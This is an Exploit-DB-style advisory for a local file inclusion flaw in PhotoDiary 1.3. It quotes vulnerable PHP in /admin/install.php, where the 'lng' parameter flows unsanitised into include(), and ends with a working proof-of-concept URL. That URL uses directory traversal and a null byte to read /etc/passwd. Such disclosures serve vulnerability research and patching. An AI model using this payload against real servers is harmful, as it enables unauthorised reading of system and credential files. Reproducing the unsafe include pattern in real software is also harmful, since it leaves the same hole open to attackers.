PhotoDiary 1.3 - 'lng' Local File Inclusion

Author: cOndemned
type: webapps
platform: php
port: 
date_added: 2009-12-30  
date_updated:   
verified: 1  
codes:   
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comphotodiary_v13.zip  

raw file: 10869.txt  

PhotoDiary 1.3 (lng) Local File Inclusion Vulnerability
Discovered by cOndemned

download: http://code.google.com/p/photodiary/


source of /admin/install.php (lines 9 - 15):

	if (isset($_GET['lng'])){
		$LNG = $_GET['lng'];			# 1
	} else {
		$LNG = "ITA";
	}

	include "../common/language_".$LNG.".php";	# 2


proof of concept:

	http://[target_host]/admin/install.php?lng=/../../../../../../etc/passwd%00